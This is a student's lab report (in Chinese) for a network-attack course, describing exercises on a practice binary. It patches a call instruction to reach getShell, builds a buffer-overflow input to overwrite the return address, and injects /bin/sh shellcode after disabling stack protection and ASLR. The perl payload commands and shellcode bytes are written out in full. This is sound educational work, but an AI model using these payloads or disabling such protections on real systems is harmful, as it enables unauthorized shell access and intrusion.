2018-2019 2 20165203 《网络对抗技术》 Exp1 PC平台逆向破解

2018-2019 2 20165203 《网络对抗技术》 Exp1 PC平台逆向破解

实验要求

1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

2.掌握反汇编与十六进制编程器

3.能正确修改机器指令改变程序执行流程

4.能正确构造payload进行bof攻击

实验内容

• 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数

• 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数

• 注入一个自己制作的shellcode并运行这段shellcode

预备知识

• 熟悉Linux基本操作
• 理解常用指令,如管道（|），输入、输出重定向（>）等
• 理解Bof的原理
• 理解汇编、机器指令、EIP、指令地址
• 会使用gdb,vi等基本指令

实验步骤

本次实验，我们需要用到一个名为pwn1的可执行文件，有的同学可能第一反应是文件中的内容是乱码。这是为什么呢？我们知道，计算机中信息=位+上下文，可执行文件的内容是计算机可以直接识别的语言，自然，用户就不一定能够认识了。

那么文件中究竟是什么内容呢？我们可以通过反汇编来查看，稍后具体操作，该文件中的程序正常的执行流程是：main执行foo函数，foo函数会简单回显任何用户输入的字符串。该程序的另一个子函数为getshell，顾名思义，它的功能是返回一个终端shell，但是依据程序，这个函数是不会运行的。我们本次实验的目标就是想办法运行这个代码片段。在这里有2种方法，3种实践内容。方法有二，其一，想办法运行代码片段，其二，就是注入运行shellcode。 所以，本次实验的目标就是

- 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
- 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
- 注入一个自己制作的shellcode并运行这段```shellcode```。

实践一 直接修改程序机器指令，改变程序执行流程

• 将pwn1文件移到PC的共享文件夹里，然后去Kali的/mnt/hgfs下将pwn_1文件复制到自己的实验文件夹中。

• 下载好后，我们利用反汇编指令objdump -d 20165203_pwn1指令反汇编可执行文件，由此我们可以查看文件的汇编语言。

• 通过汇编指令我们可以观察到地址为80484b5处的指令call 8048491 <foo>。我们可以分析一下：
  • 该指令的意思是调用地址为0x8048491处的foo函数。它对应的机器指令为(看汇编指令前面的机器指令）e8 d7fffffff, e8就是call的机器指令，跳转的意思。
  • 我们可以分析，eip寄存器中存放的是下一步要执行指令的，在本程序中就是80484ba,但是d7又是怎么来的呢？我们需要找到eip中的80484ba和d7还有8048491之间的关系，以便修改代码。我们可以发现：d7ffffff是一个补码，为41=0x29,而80484ba + d7ffffff = 80484ba - 0x29就是8048491这个值。
  • 由此，我们可以得出：
  • • 只需要在源机器代码中修改e8 d7ffffff中的d7ffffff为804847d(getshell的地址）- 8048ba的补码就可以了。
  • • 我们还可以借助Windows自带的计算器来计算为c3ffffff，如图所示

经过以上的分析，我们的目的就是修改文件中call指令后面的地址中的d7ffffff为c3ffffff,目的清晰，实验的步骤也就清晰多了。

• vim 20165203_pwn1，打开可执行文件。

• Esc键 -> :%!xxd切换到16进制模式，如图所示。

• 查找修改的内容。

• 确认位置是正确的后，按i进入编辑模式，修改d7为c3

• :%!xxd -r切换到16进制模式。
• :wq保存并退出。
• 再反汇编一下，看看call后面的地址是否是我们所预想的那样呢？

• 输入./20165203_pwn1运行修改后的代码，就得到了shell终端。

实践二 构造输入参数，造成BOF攻击，改变程序执行流

• 用反汇编命令objdump -d 20165203_pwn2

• 我们可以观察到，可执行文件所调用的函数foo有Buffer overflow漏洞。
• 我们知道，调用函数通过堆栈来进行，我们了解堆栈的结构，当我们调用函数时，函数foo 804849a处的mov语句会读入字符串，读入的数据会超出系统保留的缓冲区，超出的部分会溢出覆盖返回地址，如图分析所示。

• 我们可以利用这一点，将返回地址覆盖成80484ae。
• 由此，我们的目标就明确了: 利用函数main中的call调用函数foo这一特点，在堆栈上压返回地址值：80484ae。
• 可是问题又来了。

缓冲区的大小是多少呢？输入数据的哪些部分会覆盖返回地址呢？

如图所示，通过观察foo函数中红色框框内的指令，我们可以看到esp寄存器空出了0x38大小的位置，而eax寄存器又占到了0x1c大小的位置，ebp的大小为4个字节，所以，缓冲区的小小为0x38-0x1c+4为32字节。

• 我们可以尝试输入字符串111111112222222233333333444444441234，如图所示。

• 我们可以看到1234覆盖到了返回地址，我们只要把这四个字替换为getshell的地址，就OK了。

覆盖值的字节序是什么样的？如何构造覆盖值？

• 在call命令处设置断点，对比eip处的数据，输入1234，出来却是4321.我们可以确定是11111111222222223333333344444444\x7d\x84\x04\x08。

• 因为输入的阿拉伯数字进到寄存器就变为ASCII码，所以，我们没办法输入x7d这样的16进值，我们需要构造字符串文件，使ASCII码为我们想输入的16进值。利用Perl
• 输入xxd input查看input文件的内容。

• 将input的输入通过管道作为可执行文件20165203——pwn2的输入。我们发现，实验成功。

实践三 注入Shellcode并执行

• 我们要知道，shellcode就是一段机器指令。
• 通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），所以这段机器指令被称为shellcode。
  
  在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。
• 具体可以参考Shellcode入门
• 这次实践的目的就是注入一段shellcode，运行起来，自然也就达到了实验目的了。

准备工作

• 使用apt-get install execstack命令安装execstack。
• 修改以下设置

execstack -s pwn1    //设置堆栈可执行
execstack -q pwn1    //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space // //查询是否关闭地址随机化
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化 

如图所示

具体操作及分析

• 我们选择用来攻击buf的结构为retaddr+nops+shellcode，我们需要在shellcode前填充nop的机器码90，最前面加上加上返回地址（先定义为\x4\x3\x2\x1），具体指令为perl -e 'print"\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode。

• 我们来看一下\x4\x3\x2\x1部分要填什么。
  • 打开一个终端注入以下攻击buf：(cat input_shellcode;cat) | ./20165203_pwn3

• 打开另一个终端来调试。
• 用ps -ef | grep 20165203_pwn3来查看20165203_pwn3进程号。如图所示，进程号为5023。

• 启动gdb, 输入attach 5023进行调试。

• 用disassemblr foo反汇编，通过设置断点，查看注入buf的内存地址。

• 使用break *0x080484ae设置断点，输入c命令运行，通过在20165203_pwn3进程正在运行的终端敲回车，使其继续执行。再返回调试端，使用info r esp命令查找地址。

• 使用x/16x 0xffffd3ec查看esp寄存器中的存放内容，我们可以看到01020304,就是返回地址的位置。而根据我们构造的input_shellcode（攻击buf的结构）可知，shellcode就在其后，所以地址是 0xffffd3ec+0x04为0xffffd3f0。

• 接下来将之前的\x4\x3\x2\x1改为这个地址即可, 需要使用命令perl -e 'print"\xf0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode。

• 使用(cat input_shellcode;cat) | ./20165203_pwn3运行文件，攻击成功。

实验中出现的问题及解决方法

Q1：在查看进程号时，发现./20165203_pwn3的进程号不见了，只有ps -ef | grep 20165203_pwn3的进程号。

A1：自己在新的终端打开./20165203_pwn3时，多敲了一个回车，意味着进程执行完毕，自然就不会显示进程号了。所以，在打开./20165203_pwn3时，不要敲回车，在调试时敲回车使进程继续执行。

Q2：注入Shellcode，我们选择的是retaddr+nops+shellcode结构，还有其他的结构吗，我们为什么要选择上述结构呢？

A2：Linux下有两种基本构造攻击buf的方法：

• retaddr+nop+shellcode
• nop+shellcode+retaddr
• 因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面，简单说缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边
  
  我们这个buf足够大，够放这个shellcode了。这里选择结构nop+shellcode+retaddr nop一为是了填充，二是作为“着陆区/滑行区”
  
  我们猜的返回地址只要落在任何一个nop上，自然会滑到我们的shellcode。

实验小结

• 实验感想：本次实验我们主要学习了缓冲区溢出与shellcode，这是自己第一次尝试攻击程序，修改程序的路径，感觉很有意思，当攻击成功后，那种内心的满足感和成就感油然而生。当然，这其中也参考了学长学姐之前的博客，自己把自己思考分析的过程详细整理了一下，希望自己在今后能学到更多关于网络对抗方面的知识。

• 问题：什么是漏洞？漏洞有什么危害？

1. 漏洞：在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷，从而可以使攻击者能够在未授权的情况下访问或破坏系统。例如缓冲区溢出。
2. 危害：黑客入侵、病毒入侵、数据丢失和篡改、隐私泄露乃至造成经济损失。